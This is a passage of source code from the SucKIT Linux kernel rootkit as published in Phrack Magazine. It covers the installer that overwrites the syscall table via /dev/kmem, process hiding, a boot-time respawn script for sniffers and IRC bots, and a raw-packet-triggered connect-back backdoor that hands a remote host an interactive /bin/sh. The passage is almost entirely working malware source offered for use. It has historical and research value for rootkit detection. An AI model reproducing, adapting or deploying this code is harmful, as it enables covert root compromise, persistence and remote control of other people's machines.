struct  kma_struc kmalloc;
struct  cmd_struc cmd;

int     kmem, i, hooked, relocs;
int     silent = 0;

/* be silent ? */
if (!strcmp(cfg.hs, &argv[0][strlen(argv[0]) - strlen(cfg.hs)])) {
        i = open("/dev/null", O_RDWR, 0);
        dup2(i, 0);
        dup2(i, 1);
        dup2(i, 2);
        close(i);
        silent++;
        if (fucka_is_there())
                return 0;
}

/* crappy intro/help stuff */
printf("%s", BANNER);

if (!silent)
if ((i = fucka_is_there()) || (argc > 1)) {
        return client(i, argc, argv);
}

/* look for needed kernel addresses */
printf("Getting kernel stuff...");
sct = get_sct(&dispatch);
if (!sct) {
        printf("Cannot determine where sys_call_table[] is ;(\n");
        return 1;
}

page_offset = sct & 0xF0000000;
kma = get_kma(page_offset);

if (!kma) {
        printf("Cannot determine where kmalloc() is ;(\n");
        return 1;
}

printf("OK\n"
        "page_offset      : 0x%08x\n"
        "sys_call_table[] : 0x%08x\n"
        "int80h dispatch  : 0x%08x\n"
        "kmalloc()        : 0x%08x\n"
        "GFP_KERNEL       : 0x%08x\n",
        page_offset,
        sct,
        dispatch,
        kma,
        get_gfp());

kmem = open(KMEM_FILE, O_RDWR, 0);
if (!rkm(kmem, sct, old_call_table, sizeof(old_call_table))) {
        printf("FUCK: Cannot get old sys_call_table[] at 0x%08x\n",
                sct);
        return 1;
}

if (!rkml(kmem, sct + (PUNK * 4), &punk_addr)) {
        printf("FUCK: Cannot get addr of %d syscall\n", PUNK);
        return 1;
}
```

```
img = (void *) punk;
punk_size = * (ulong *) ((ulong) img->punk_size + (ulong) img);

if (punk_size > TMP_SIZE || img->obj_len > TMP_SIZE) {
        printf("FUCK: No space for syscall/image,"
               "adjust TMP_SIZE in src/sk.c\n");
        return 1;
}

if (!rkm(kmem, punk_addr, tmp, punk_size)) {
        printf("FUCK: Cannot save old %d syscall!\n", PUNK);
        return 1;
}

if (!wkm(kmem, punk_addr,
    (char *) ((ulong) img->punk + (ulong) img), punk_size)) {
        printf("FUCK: Can't overwrite our victim syscall %d!\n",
               PUNK);
        return 1;
}

/* setup stuff for kmalloc */
kmalloc.kmalloc = (void *) kma;
kmalloc.size = img->obj_len;
kmalloc.flags = get_gfp();

/* try to alloc ...
   the most risky step of whole installation precess... */
olduname(&kmalloc);

/* restore back soon as possible */
if (!wkm(kmem, punk_addr, tmp, punk_size)) {
        printf("Hell! Damnit!! I can't restore syscall %d !!!\n"
               "I recommend you to reboot imediately!\n", PUNK);
        return 1;
}

if (kmalloc.mem < page_offset) {
        printf("Allocated memory is too low (%08x < %08x)\n",
                kmalloc.mem, page_offset);
        return 1;
}

printf(
        "punk_addr        : 0x%08x\n"
        "punk_size        : 0x%08x (%d bytes)\n"
        "our kmem region  : 0x%08x\n"
        "size of our kmem : 0x%08x (%d bytes)\n",
        punk_addr,
        punk_size, punk_size,
        kmalloc.mem,
        kmalloc.size, kmalloc.size);

/* i love this ptr math ... */
img->page_offset = page_offset;
img->syscall_dispatch = dispatch;
img->old_call_table = (ulong *) sct;
memset(tmp, 0, img->obj_len);
memcpy(tmp, img, img->obj_len - img->bss_len);

new_call_table =
        (ulong *) ((ulong) img->sys_call_table + (ulong) tmp);
handlers =
        (struct new_call *) ((ulong) img->new_sct + (ulong) tmp);
relocs =
        img_reloc(tmp, (ulong *) (img->obj_len - img->bss_len +
                                  (ulong) img), kmalloc.mem);

hooked = hook_syscalls(old_call_table, new_call_table,
               handlers, kmalloc.mem, (ulong) tmp);
```

```
        if (!wkm(kmem, kmalloc.mem, tmp, img->obj_len)) {
                printf("FUCK: Cannot write us to kmem,"
                       " offset=0x%08x size=%d\n",
                        kmalloc.mem, img->obj_len);
                return 1;
        }

        printf(
                "new_call_table   : 0x%08x\n"
                "# of relocs      : 0x%08x (%d)\n"
                "# of syscalls    : 0x%08x (%d)\n"
                "And nooooow....",
                (ulong) (((struct obj_struc *)tmp)->sys_call_table),
                relocs, relocs,
                hooked, hooked);
        if (!wkml(kmem, dispatch,
            (ulong) (((struct obj_struc *)tmp)->sys_call_table))) {
                printf("..something goes wrong ;(\n");
                return 1;
        }

        printf("Shit happens!! -> WE'RE IN <-\n");
        close(kmem);

        /* setup our backdoor process */
        cmd.num = backdoor();
        skio(CMD_BDR, &cmd);

        if (silent)
                do_rc(cfg.home);
        return 0;
}
#endif
<--> ./src/sk.c
<++> ./src/rc.c
/* $Id: rc.c, executes .rc script after sucessfull installation
              useful while respawning eggdrop, psybnc or sniffer
              after reboot */

#ifndef RC_C
#define RC_C
#include "io.c"
#include "string.c"
#include "vsprintf.c"
#include "client.c"

int     do_rc(char *home)
{
        char    buf[512];
        int     pid;
        sprintf(buf, "%s/%s", home, RC_FILE);

        pid = _fork();
        if (pid < 0)
                return 0;
        if (pid == 0) {
                char    *argv[] = {NULL, NULL};
                char    *envp[] = {NULL, "SHELL=/bin/bash",
                "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:"
                "/usr/local/sbin:/usr/X11R6/bin:./bin", NULL};
                char    home[512];
                struct  cmd_struc c;

                /* make us invisible */
                c.num = getpid();
                skio(CMD_INV, &c);

                /* change to homedir */
                chdir(cfg.home);
```

```
                /* setup enviroment */
                sprintf(home, "HOME=%s", cfg.home);
                argv[0] = buf;
                envp[0] = home;

                /* exec rc */
                execve(buf, argv, envp);
                _exit(0);
        }
}
#endif
<--> ./src/rc.c
<++> ./src/loc.c
/* $Id: loc.c, devik's routines to obtain kmalloc/sct craps
               without native LKM support  */

#ifndef LOC_C
#define LOC_C
#include "asm.h"
#include "suckit.h"

/* simple fn which reads some bytes from /dev/kmem */
ulong   loc_rkm(int fd, void *buf, uint off, uint size)
{
        if (lseek(fd, off, 0) != off) return 0;
        if (read(fd, buf, size) != size) return 0;
        return size;
}

/* this fn tunnels out address of sys_call_table[] off int 80h */
#define INT80_LEN       128
ulong   get_sct(ulong *i80)
{
        struct idtr     idtr;
        struct idt      idt;
        int             kmem;
        ulong           sys_call_off;
        char            *p;
        char            sc_asm[INT80_LEN];

        /* open kmem */
        kmem = open(KMEM_FILE, O_RDONLY, 0);
        if (kmem < 0) return 0;
        /* well let's read IDTR */
        asm("sidt %0" : "=m" (idtr));
        /* read-in IDT for 0x80 vector (syscall-gate) */
        if (!loc_rkm(kmem, &idt, idtr.base + 8 * SYSCALL_INTERRUPT,
            sizeof(idt)))
                return 0;
        sys_call_off = (idt.off2 << 16) | idt.off1;
        if (!loc_rkm(kmem, &sc_asm, sys_call_off, INT80_LEN))
                return 0;
        close(kmem);
        /* we have syscall routine address now, look for syscall table
           dispatch (indirect call) */
        p = memmem(sc_asm, INT80_LEN, "\xff\x14\x85", 3) + 3;
        if (p) {
                *i80 = (ulong) (p - sc_asm + sys_call_off);
                return *(ulong *) p;
        }
        return 0;
}

/* simplest & safest way, but only if LKM support is there */
ulong   get_sym(char *n) {
        struct  kernel_sym      tab[MAX_SYMS];
        int     numsyms;
        int     i;
```

```
        numsyms = get_kernel_syms(NULL);
        if (numsyms > MAX_SYMS || numsyms < 0) return 0;
        get_kernel_syms(tab);
        for (i = 0; i < numsyms; i++) {
                if (!strncmp(n, tab[i].name, strlen(n)))
                        return tab[i].value;
        }
        return 0;
}

#define RNUM 1024
ulong   get_kma(ulong pgoff)
{
        struct { uint a,f,cnt; } rtab[RNUM], *t;
        uint            i, a, j, push1, push2;
        uint            found = 0, total = 0;
        uchar           buf[0x10010], *p;
        int             kmem;
        ulong           ret;

        /* uhh, before we try to bruteforce something, attempt to do things
           in the *right* way ;)) */
        ret = get_sym("kmalloc");
        if (ret) return ret;

        /* and finally, good, old bruteforce ;)) */
        kmem = open(KMEM_FILE, O_RDONLY, 0);
        if (kmem < 0) return 0;
        for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000); i += 0x10000)
                {
                if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
                /* loop over memory block looking for push and calls */
                for (p = buf; p < buf + 0x10000;) {
                        switch (*p++) {
                                case 0x68:
                                        push1 = push2;
                                        push2 = *(unsigned*)p;
                                        p += 4;
                                        continue;
                                case 0x6a:
                                        push1 = push2;
                                        push2 = *p++;
                                        continue;
                                case 0xe8:
                                        if (push1 && push2 &&
                                            push1 <= 0xffff &&
                                            push2 <= 0x1ffff) break;
                                default:
                                        push1 = push2 = 0;
                                        continue;
                        }
                        /* we have push1/push2/call seq; get address */
                        a = *(unsigned *) p + i + (p - buf) + 4;
                        p += 4;
                        total++;
                        /* find in table */
                        for (j = 0, t = rtab; j < found; j++, t++)
                                if (t->a == a && t->f == push1) break;
                        if (j < found)
                                t->cnt++;
                        else
                                if (found >= RNUM) {
                                        return 0;
                                }
                                else {
                                        found++;
                                        t->a = a;
                                        t->f = push1;
                                        t->cnt = 1;
                                }
```

```
                        push1 = push2 = 0;
                } /* for (p = buf; ... */
        } /* for (i = (pgoff + 0x100000) ...*/
        close(kmem);
        t = NULL;
        for (j = 0;j < found; j++)  /* find maximum */
                if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
        if (t) return t->a;
        return 0;
}
#endif
<--> ./src/loc.c
<++> ./src/bd.c
/* $Id: bd.c - STCP, connect-back, anti-firewall backdoor
               with TTY and password */

/* implementing something like that on syscalls level is _really_ weird,
   so excuse the poor coding style and using .h's wo libs etc... ;) */

#ifndef BD_C
#define BD_C

#define TIOCSCTTY       0x540E
#define TIOCGWINSZ      0x5413
#define TIOCSWINSZ      0x5414

#define RAW_PORT        80
#define BUF     32768

#define SYS_SOCKET      1               /* sys_socket(2)                */
#define SYS_BIND        2               /* sys_bind(2)                  */
#define SYS_CONNECT     3               /* sys_connect(2)               */
#define SYS_LISTEN      4               /* sys_listen(2)                */
#define SYS_ACCEPT      5               /* sys_accept(2)                */
#define SYS_GETSOCKNAME 6               /* sys_getsockname(2)           */
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
#define SYS_SOCKETPAIR  8               /* sys_socketpair(2)            */
#define SYS_SEND        9               /* sys_send(2)                  */
#define SYS_RECV        10              /* sys_recv(2)                  */
#define SYS_SENDTO      11              /* sys_sendto(2)                */
#define SYS_RECVFROM    12              /* sys_recvfrom(2)              */
#define SYS_SHUTDOWN    13              /* sys_shutdown(2)              */
#define SYS_SETSOCKOPT  14              /* sys_setsockopt(2)            */
#define SYS_GETSOCKOPT  15              /* sys_getsockopt(2)            */
#define SYS_SENDMSG     16              /* sys_sendmsg(2)               */
#define SYS_RECVMSG     17              /* sys_recvmsg(2)               */

#include <sys/wait.h>
//#include <sys/types.h>
#include <sys/resource.h>
#include <linux/unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include "str.h"
//#include <fcntl.h>

#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <net/if.h>

#include <netdb.h>
#include <arpa/inet.h>

#include "suckit.h"
#include "ip.h"
#include "vsprintf.c"
```

```
#include "io.c"

struct  config_struc    cfg = {"CFGMAGIC", ".sd", "bublifuck", "/dev"};
#define PASSWORD cfg.pwd
#define HOME cfg.home


struct sel_arg_struct {
        unsigned long n;
        fd_set *inp, *outp, *exp;
        struct timeval *tvp;
};

#define __NR__waitpid __NR_waitpid
#define __NR__vhangup __NR_vhangup
#define __NR__ioctl __NR_ioctl
#define __NR__aselect __NR_select
#define __NR__sigaction __NR_sigaction
#define __NR__kill __NR_kill
#define __NR__setsid __NR_setsid
static  inline _syscall1(int, _aselect, struct sel_arg_struct *, args);
static  inline _syscall2(int, socketcall, int, call, unsigned long *,args);
static  inline _syscall3(int, _sigaction, int, num, void *, act,
                        void *, old);
static  inline _syscall3(int, _waitpid, int, pid, int *, dummy, int, opts);
static  inline _syscall0(int, _vhangup);
static  inline _syscall3(int, _ioctl, int, fd, int, cmd, void *, buf);
static  inline _syscall2(int, dup2, int, a, int, b);
static  inline _syscall2(int, setpgid, int, pid, int, pgid);
static  inline _syscall2(int, _kill, int, pid, int, sig);
static  inline _syscall0(int, _setsid);
static  inline _syscall1(int, chdir, char *, path);

struct winsize {
        unsigned short ws_row;
        unsigned short ws_col;
        unsigned short ws_xpixel;
        unsigned short ws_ypixel;
};

/* basic i/o for network stuff */
int     _select(ulong n, fd_set *inp, fd_set *outp, fd_set *exp,
                struct timeval *tvp)
{
        struct  sel_arg_struct b;
        b.n = n;
        b.inp = inp;
        b.outp = outp;
        b.exp = exp;
        b.tvp = tvp;
        return _aselect(&b);
}

int     _socket(int domain, int type, int protocol)
{
        ulong   a[3];
        a[0] = domain;
        a[1] = type;
        a[2] = protocol;
        return socketcall(SYS_SOCKET, a);
}

int     _connect(int sockfd, struct sockaddr *addr, int addrlen)
{

        ulong   a[3];
        a[0] = sockfd;
        a[1] = (ulong) addr;
        a[2] = addrlen;
        return socketcall(SYS_CONNECT, a);
```

```
}

int  _recvfrom(int  s,  void  *buf,  ulong  len,  int flags,
               struct sockaddr *from, socklen_t *fromlen)
{
        ulong   a[6];
        a[0] = s;
        a[1] = (ulong) buf;
        a[2] = len;
        a[3] = flags;
        a[4] = (ulong) from;
        a[5] = (ulong) fromlen;
        return socketcall(SYS_RECVFROM, a);
}

int     _signal(int num, void *handler)
{
        struct  sigaction       s;
        bzero((char *) &s, sizeof(s));
        s.sa_handler = handler;
        s.sa_flags = SA_RESTART;
        return _sigaction(num, &s, NULL);
}

/* creates tty/pty name by index */
void    get_tty(int num, char *base, char *buf)
{
        char    series[] = "pqrstuvwxyzabcde";
        char    subs[] = "0123456789abcdef";
        int     pos = strlen(base);
        strcpy(buf, base);
        buf[pos] = series[(num >> 4) & 0xF];
        buf[pos+1] = subs[num & 0xF];
        buf[pos+2] = 0;
}

/* search for free pty and open it */
int     open_tty(int *tty, int *pty)
{
        char    buf[512];
        int     i, fd;

        fd = open("/dev/ptmx", O_RDWR, 0);
        close(fd);

        for (i=0; i < 256; i++) {
                get_tty(i, "/dev/pty", buf);
                *pty = open(buf, O_RDWR, 0);
                if (*pty < 0) continue;
                get_tty(i, "/dev/tty", buf);
                *tty = open(buf, O_RDWR, 0);
                if (*tty < 0) {
                        close(*pty);
                        continue;
                }
                return 1;
        }
        return 0;
}

/* to avoid creating zombies ;) */
void    sig_child(int i)
{
        _signal(SIGCHLD, sig_child);
        _waitpid(-1, NULL, WNOHANG);
}

void    hangout(int i)
{
        _kill(0, SIGHUP);
```

```
        _kill(0, SIGTERM);
}

void    fork_shell(int sock)
{
        int     subshell;
        int     tty;
        int     pty;
        fd_set  fds;
        char    buf[BUF];
        char    *argv[] = {"sh", "-i", NULL};
#define MAXENV  256
#define ENVLEN  256
        char    *envp[MAXENV];
        char    envbuf[(MAXENV+2) * ENVLEN];
        int     j, i;
        char    home[256];
        char    msg[] = "Can't fork pty, bye!\n";

        /* setup enviroment */
        envp[0] = home;
        sprintf(home, "HOME=%s", HOME);
        chdir(HOME);
        j = 0;
        do {
                i = read(sock, &envbuf[j * ENVLEN], ENVLEN);
                envp[j+1] = &envbuf[j * ENVLEN];
                j++;
                if ((j >= MAXENV) || (i < ENVLEN)) break;
        } while (envbuf[(j-1) * ENVLEN] != '\n');
        envp[j+1] = NULL;

        /* create new group */
        setpgid(0, 0);
        /* open slave & master side of tty */
        if (!open_tty(&tty, &pty)) {
                write(sock, msg, strlen(msg));
                close(sock);
                _exit(0);
        }
        /* fork child */
        subshell = _fork();
        if (subshell == -1) {
                write(sock, msg, strlen(msg));
                close(sock);
                _exit(0);
        }
        if (subshell == 0) {
                /* close master */
                close(pty);
                /* attach tty */
                _setsid();
                _ioctl(tty, TIOCSCTTY, NULL);
                /* close local part of connection */
                close(sock);
                _signal(SIGHUP, SIG_DFL);
                _signal(SIGCHLD, SIG_DFL);
                dup2(tty, 0);
                dup2(tty, 1);
                dup2(tty, 2);
                close(tty);
                execve("/bin/sh", argv, envp);
        }
        close(tty);
        _signal(SIGHUP, hangout);
        _signal(SIGTERM, hangout);

        write(sock, BANNER, strlen(BANNER));
        /* select loop */
        while (1) {
```

```
                FD_ZERO(&fds);
                FD_SET(pty, &fds);
                FD_SET(sock, &fds);
                if (_select((pty > sock) ? (pty+1) : (sock+1),
                    &fds, NULL, NULL, NULL) < 0)
                    {
                        break;
                }

                /* pty => remote side */
                if (FD_ISSET(pty, &fds)) {
                        int     count;
                        count = read(pty, buf, BUF);
                        if (count <= 0) break;
                        if (write(sock, buf, count) <= 0) break;
                }

                /* remote side => pty */
                if (FD_ISSET(sock, &fds)) {
                        int     count;
                        unsigned        char *p, *d;
                        d = buf;
                        count = read(sock, buf, BUF);
                        if (count <= 0) break;

                        /* setup win size */
                        p = memchr(buf, ECHAR, count);
                        if (p) {
                                unsigned char   wb[5];
                                int     rlen;
                                struct  winsize ws;
                                rlen = count - ((ulong) p - (ulong) buf);
                                /* wait for rest */
                                if (rlen > 5) rlen = 5;
                                memcpy(wb, p, rlen);
                                if (rlen < 5) {
                                        read(sock, &wb[rlen], 5 - rlen);
                                }

                                /* setup window */
                                ws.ws_xpixel = ws.ws_ypixel = 0;
                                ws.ws_col = (wb[1] << 8) + wb[2];
                                ws.ws_row = (wb[3] << 8) + wb[4];
                                _ioctl(pty, TIOCSWINSZ, &ws);
                                _kill(0, SIGWINCH);

                                /* write the rest */
                                write(pty, buf, (ulong) p - (ulong) buf);
                                rlen =
                                  ((ulong) buf + count) - ((ulong)p+5);
                                if (rlen > 0) write(pty, p+5, rlen);
                        } else
                                if (write(pty, d, count) <= 0) break;
                } /* remote side => pty */
        } /* while */
        close(sock);
        close(pty);
        _waitpid(subshell, NULL, 0);
        _vhangup();
        _exit(0);
}

void    connect_back(ulong ip, ushort port)
{
        int     sock;
        struct  sockaddr_in     cli;
        int     pid;

        pid = _fork();
        if (pid == -1) return;
```

```
        if (pid == 0) {
                char    auth[256];
                sock = _socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (sock < 0) _exit(0);

                bzero((char *) &cli, sizeof(cli));
                cli.sin_family = AF_INET;
                cli.sin_addr.s_addr = ip;
                cli.sin_port = port;
                if (_connect(sock, (struct sockaddr *) &cli,
                    sizeof(cli)) < 0) {
                        close(sock);
                        _exit(0);
                }
                /* uhm ... how simple ;) */
                if (read(sock, auth, sizeof(auth)) <= 0) {
                        close(sock);
                        _exit(0);
                }
                if (strcmp(auth, PASSWORD) != 0) {
                        close(sock);
                        _exit(0);
                }
                fork_shell(sock);
                close(sock);
                _exit(0);
        }
}

int     backdoor()
{
        int     pid;
        struct  sockaddr_in     serv;
        struct  sockaddr_in     cli;
        struct  sockaddr_in     raw;
        int     sock;

        printf("Starting backdoor daemon...");
        sock = _socket(AF_INET, SOCK_RAW, 6);
        if (sock < 0) {
                printf("Can't allocate raw socket (%d)\n", -errno);
                return 0;
        }

        bzero((char *) &raw, sizeof(raw));

        pid = _fork();
        if (pid < 0) {
                printf("Cannot fork (%d)\n", -errno);
                return 0;
        }
        if (pid !=0 ) {
                printf("OK, pid = %d\n", pid);
                return pid;
        }

        /* daemonize */
        _setsid();
        chdir("/");
        pid = open("/dev/null", O_RDWR, 0);
        dup2(pid, 0);
        dup2(pid, 1);
        dup2(pid, 2);
        close(pid);
        _signal(SIGHUP, SIG_IGN);
        _signal(SIGTERM, SIG_IGN);
        _signal(SIGPIPE, SIG_IGN);
        _signal(SIGIO, SIG_IGN);
        _signal(SIGCHLD, sig_child);
        while (1) {
```

```
                int     slen;
                struct  ippkt   packet;

                slen = sizeof(raw);
                bzero((char *) &packet, sizeof(packet));
                _recvfrom(sock, (struct ippkt *) &packet, sizeof(packet),
                         0, (struct sockaddr *) &raw, &slen);

                if ((!packet.tcp.ack) && (!packet.tcp.urg) &&
                    ( ((struct rawdata *) &packet.data)->id == RAWID ) ) {
                        /* serve the client */
                     connect_back(((struct rawdata *) &packet.data)->ip,
                                  ((struct rawdata *) &packet.data)->port);
                }
        }
        _exit(0);
}
#endif
<--> ./src/bd.c
<++> ./src/config.c
/* $Id: config.c, configuring binary */

#ifndef CONFIG_C
#define CONFIG_C
#include "string.c"
#include "vsprintf.c"
#include "io.c"

int     config(char *name, char *hs, char *pwd, char *home)
{
        int     fd = -1;
        char    bigbuf[65536];
        struct  config_struc cfg;
        int     size;
        char    *p;

        /* to avoid detecting itself ;) */
        strcpy(cfg.magic, "CFGMAGI");
        cfg.magic[7] = 'C';
        strncpy(cfg.hs, hs, 32);
        strncpy(cfg.pwd, pwd, 32);
        strncpy(cfg.home, home, 64);

        printf("Configuring %s:\n", name);
        fd = open(name, O_RDONLY, 0);
        if (fd < 0) {
                printf("Can't open %s, errno=%d\n", name, -errno);
                goto err;
        }
        size = read(fd, bigbuf, sizeof(bigbuf));
        close(fd);
        unlink(name);
        fd = open(name, O_RDWR | 0100, 04777);
        if (fd < 0) {
                printf("Can't open %s, errno=%d\n", name, -errno);
                goto err;
        }

        p = memmem(bigbuf, size, cfg.magic, 8);
        if (!p) {
                printf("Error\n");
                goto err;
        }
        memcpy(p, &cfg, sizeof(cfg));
        p = memmem(p+1, size, cfg.magic, 8);
        if (!p) {
                printf("Error\n");
                goto err;
        }
        memcpy(p, &cfg, sizeof(cfg));
```

```
        lseek(fd, 0, 0);
        if (write(fd, bigbuf, size) != size) {
                printf("Uncompleted write!\n");
                goto err;
        }
        printf("OK!\n");
        close(fd);
        return 0;
err:
        close(fd);
        return 1;
}
#endif
<--> ./src/config.c
<++> ./utils/parser.c
/* $Id: parse.c, parses .s file of kernel image,
                 gives "extern" and so on... */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define comp(x) (!strcmp(b1, x))

int     main()
{
        char    buf[16384];
        char    b1[16384];
        char    b2[16384];
        char    *commtab[32768];
        int     cp = 0;
        int     i;

        fputs(
        ".text\n"
        "text_start:\n"
        "\t.long\ttext_end-text_start\n"
        "\t.long\ttext_end-bss_start\n"
        "\t.long\tpunk\n"
        "\t.long\tpunk_size\n"
        "\t.long\tnew_sct\n"
        "\t.long\tsys_call_table\n"
        "page_offset:\n"
        "\t.long\t0\n"
        "syscall_dispatch:\n"
        "\t.long\t0\n"
        "old_call_table:\n"
        "\t.long\t0\n"
        , stdout);

        while (fgets(buf, 16384, stdin)) {
                sscanf(buf, "%s %s", b1, b2);
                /* comment */
                if (b1[0] == '#') continue;
                /* punk_size */
                if (comp(".size") && (!strncmp(b2, "punk,", 5))) {
                        char *p = strstr(b2, ",");
                        printf("punk_size:\n\t.long\t%s\n", p + 1);
                }
                /* discard this stuff */
                if (comp(".file") || comp(".version") ||
                    comp(".data") || comp(".align") ||
                    comp(".p2align") || comp(".section") ||
                    comp(".ident") || comp(".globl")) continue;
                /* convert .bss => .text */
                if (comp(".comm")) {
                        commtab[cp++] = strdup(b2);
                        continue;
                }
```

```
                fprintf(stdout, "%s", buf);
        }
        fprintf(stdout, "bss_start:\n");
        for (i = 0; i < cp; i++) {
                char    *name;
                char    *size;
                char    *ptr = commtab[i];
                name = strsep(&ptr, ",");
                size = strsep(&ptr, ",");
                fprintf(stdout,
                "\t.type\t%s,@object\n"
                "\t.size\t%s,%s\n"
                "%s:\n"
                "\t.zero\t%s\n",
                name,
                name, size,
                name,
                size);
        }
        fprintf(stdout, "text_end:\n");
        return 0;
}
<--> ./utils/parser.c
<++> ./utils/rip.c
/* $Id: rip.c - rips out kernel image from .o */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

struct objinfo {
        unsigned int size;
        unsigned int bss_size;
} __attribute__ ((packed));


int     main(int argc, char *argv[])
{
        FILE    *dump;
        int     core;
        char    buf[512];
        unsigned off;
        char    *rbuf;

        struct objinfo  obj;
        int     rcount = 0;

        if (argc < 3) {
                printf("use: %s <in_file> <out_file>\n", argv[0]);
                exit(1);
        }

        printf("Ripping headers..."); fflush(stdout);
        sprintf(buf, "objdump -h %s", argv[1]);
        dump = popen(buf, "r");
        while (fgets(buf, sizeof(buf), dump)) {
                unsigned        idx, size, vma, lma, fileoff;
                char            name[512];
                char            algn[512];
                if (sscanf(buf, "%d %s %x %x %x %x %s\n",
                    &idx, name, &size, &vma, &lma, &fileoff, algn) == 7) {
                        if (!strcmp(name, ".text")) {
                                off = fileoff;
                                pclose(dump);
                                break;
                        }
```

```
                }
        }
        printf("0x%08x\nRipping c0r3...", off); fflush(stdout);
        core = open(argv[1], O_RDONLY);
        lseek(core, off, SEEK_SET);
        read(core, &obj, sizeof(obj));
        lseek(core, off, SEEK_SET);
        rbuf = malloc(obj.size - obj.bss_size);
        if (!rbuf) exit(1);
        read(core, rbuf, obj.size - obj.bss_size);
        close(core);
        core = open(argv[2], O_CREAT | O_RDWR | O_TRUNC, 0664);
        if (core < 0) return 1;
        write(core, rbuf, obj.size - obj.bss_size);
        printf("Ok, %d bytes\n", obj.size - obj.bss_size);
        printf("Ripping relocs..."); fflush(stdout);
        sprintf(buf, "objdump -r %s", argv[1]);
        dump = popen(buf, "r");
        while (fgets(buf, sizeof(buf), dump)) {
                unsigned        off;
                char            type[512];
                char            name[512];
                if (sscanf(buf, "%x %s %s", &off, type, name) == 3)
                if (!strcmp(type, "R_386_32")) {
                        if (strcmp(name, ".text") != 0) {
                                printf("FUCK: Bad reloc %x\t%s\%s\n",
                                       off, type, name);
                                exit(1);
                        }
                        write(core, &off, sizeof(off));
                        rcount++;
                }
        }
        off = 0xFFFFFFFF;
        write(core, &off, sizeof(off));
        close(core);
        printf("OK, %d relocs\n", rcount);
        return 0;
}
<--> ./utils/rip.c
<++> ./utils/Makefile
utils:  parser bin2hex rip
clean:
        rm -f parser bin2hex rip core
<--> ./utils/Makefile
<++> ./utils/bin2hex.c
/* $Id: bin2hex.c, bin2hex translator */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define PER_LINE        6
#define BUF_SIZE        (64*1024)

int     main(int argc, char *argv[])
{
        int     c;
        int     size = 0;
        int     i;
        char    buf[BUF_SIZE];
        uint    *lp = (uint *) buf;
        int     col;

        bzero(buf, BUF_SIZE);

        if (argc != 2) {
                printf("Use: %s var_name\n", argv[0]);
                exit(1);
```

```
        }
        printf("/* generated by bin2hex.c */\n"
                "unsigned\tlong\t%s[] = {\n\t", argv[1]);
        while ((c = fgetc(stdin)) != EOF) {
                buf[size++] = c;
        }
        size = (size + 3) / 4;
        for (i = 0, col = 1; i < size; i++, col++) {
                printf("0x%08x", lp[i]);
                if (i < (size - 1)) printf(",");
                if (col >= PER_LINE) {
                        printf("\n\t");
                        col = 0;
                }
        }
        printf("};\n/* %d bytes total */\n", size * 4);
        return 0;
}
<--> ./utils/bin2hex.c
<++> ./Makefile
# An makefile, it may be buggy, cause i'm not so familiar with GNU make

#an escape character
ECHAR           = 0x0b
#some random number to identify our raw packets, better if you change it
RAWID           = 0x8C1C941F
#current version
VERSION         = v1.1c
#signature for communication between user <> kernel spaces
OURSIGN         = 0x14431337
#rc file in home directory
RCFILE          = .rc

#dirs
INCLUDE         = include
SRC             = src
UTILS           = utils
CLIENT          = client
TMP             = tmp

#CC defs
CC              = gcc
CFLAGS          = -s -Wall -O6 -fno-inline-functions -fno-unroll-all-loops\
                  -I$(INCLUDE) -I$(TMP) -DSUCKIT_VERSION=\"$(VERSION)\"\
                  -DRAWID=$(RAWID) -DECHAR=$(ECHAR) -DOURSIGN=$(OURSIGN)\
                  -DRCFILE=\"$(RCFILE)\"



all:    sk cli
        @( ./sk 1 )
        @echo "OK, compilation seems to be done, \
              i'm HIGLY suggest you to do"
        @echo "./sk c <file_hide_suffix> <password> <home_directory>"
        @echo "before installing it somewhere!"
        @echo "Enjoy!"

help:
        @echo "Targets:"
        @echo "  make clean  - clean"
        @echo "  make cli    - create localhost bd's client"
        @echo "  make sk     - create suckit"
        @echo "  make help   - diz help"

cli:
        $(CC) $(CFLAGS) $(CLIENT)/client.c -o cli

binutils:
        @( cd $(UTILS); make CC=gcc CFLAGS="$(CFLAGS)")
```

```
$(TMP):
        @( mkdir $(TMP) )
$(TMP)/core.s:  $(SRC)/core.c tmp
        $(CC) $(CFLAGS) -S $(SRC)/core.c -o $(TMP)/core.s
$(TMP)/core.o:  $(TMP)/core.s binutils
        $(UTILS)/parser < $(TMP)/core.s > $(TMP)/c0re.s
        $(CC) $(CFLAGS) -c $(TMP)/c0re.s -o $(TMP)/core.o
$(TMP)/cor:     $(TMP)/core.o binutils
        $(UTILS)/rip $(TMP)/core.o $(TMP)/cor
$(TMP)/core.h: $(TMP) $(TMP)/cor binutils
        $(UTILS)/bin2hex punk < $(TMP)/cor > $(TMP)/core.h

sk:     binutils $(TMP)/core.h
        $(CC) $(CFLAGS) -w -nostdlib $(SRC)/sk.c -o sk

clean:
        rm -f $(TMP)/* core
        rm -rf $(TMP)
        @( cd $(UTILS); make clean )
        @( cd $(CLIENT); make clean )
<--> ./Makefile
```


© Copyleft 1985-2021, Phrack Magazine.